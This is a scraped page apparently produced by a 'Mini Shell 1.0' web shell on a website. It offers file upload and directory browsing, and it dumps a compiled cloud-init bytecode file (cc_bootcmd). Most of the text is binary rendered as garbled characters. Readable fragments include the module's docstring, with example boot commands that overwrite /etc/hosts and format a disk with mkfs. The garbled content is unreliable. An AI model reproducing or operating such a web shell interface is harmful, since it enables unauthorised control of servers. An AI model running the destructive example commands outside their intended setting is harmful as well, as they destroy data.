HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_bootcmd.cpython-311.pyc
�

܍~c|���UdZddlZddlmZddlmZddlmZmZm	Z	ddl
mZddlm
Z
ddlmZmZdd	lmZeZd
gZddd
ed��eed��gedgd�Zeed<ee��Zdede
dedededdfd�ZdS)z:Bootcmd: run arbitrary commands early in the boot process.�N)�Logger)�dedent)�subp�
temp_utils�util)�Cloud)�Config)�
MetaSchema�get_meta_doc)�
PER_ALWAYS�all�
cc_bootcmd�Bootcmdz0Run arbitrary commands early in the boot processa�        This module runs arbitrary commands very early in the boot process,
        only slightly after a boothook would run. This is very similar to a
        boothook, but more user friendly. The environment variable
        ``INSTANCE_ID`` will be set to the current instance id for all run
        commands. Commands can be specified either as lists or strings. For
        invocation details, see ``runcmd``.

        .. note::
            bootcmd should only be used for things that could not be done later
            in the boot process.

        .. note::

          when writing files, do not use /tmp dir as it races with
          systemd-tmpfiles-clean LP: #1707222. Use /run/somedir instead.
    z�        bootcmd:
            - echo 192.168.1.130 us.archive.ubuntu.com > /etc/hosts
            - [ cloud-init-per, once, mymkfs, mkfs, /dev/vdb ]
    �bootcmd)�id�name�title�description�distros�examples�	frequency�activate_by_schema_keys�metar�cfg�cloud�log�args�returnc	���d|vr|�d|��dStjd���5}	tj|d��}|�tj|����|���n6#t$r)}tj	|dt|�����d}~wwxYw	tj�
��}|���}	|	rt|	��|d<d|jg}
t!j|
|d�	��n%#t$rtj	|d
|���wxYw	ddd��dS#1swxYwYdS)Nrz;Skipping module named %s, no 'bootcmd' key in configurationz.sh)�suffixzFailed to shellify bootcmd: %s�INSTANCE_IDz/bin/shF)�env�capturezFailed to run bootcmd module %s)�debugr�ExtendedTemporaryFiler�shellify�write�encode_text�flush�	Exception�logexc�str�os�environ�copy�get_instance_idrr)rrrrr�tmpf�content�er"�iid�cmds           �=/usr/lib/python3/dist-packages/cloudinit/config/cc_bootcmd.py�handler7Bs��������	�	�I�4�	
�	
�	
�	��	�	)��	7�	7�	7��4�	��m�C�	�N�3�3�G��J�J�t�'��0�0�1�1�1��J�J�L�L�L�L���	�	�	��K��=�s�1�v�v�F�F�F������	����		��*�/�/�#�#�C��'�'�)�)�C��
.�%(��X�X��M�"��d�i�(�C��I�c�s�E�2�2�2�2�2���	�	�	��K��>��E�E�E��	����
3���������������������sN�E�AB
�	E�

B=�$B8�8B=�=E�A&D(�'E�("E
�
E�E�"E)�__doc__r-�loggingr�textwrapr�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
r�cloudinit.settingsrrrr�__annotations__r,�listr7��r6�<module>rDs{��A�@�@�	�	�	�	�������������,�,�,�,�,�,�,�,�,�,�!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�)�)�)�)�)�)��	��'����
?��6�	���&���
�	
�	
��� )�{�E#�#��j�#�#�#�J�,�t�
�
���

����#(��/5��=A��	������rC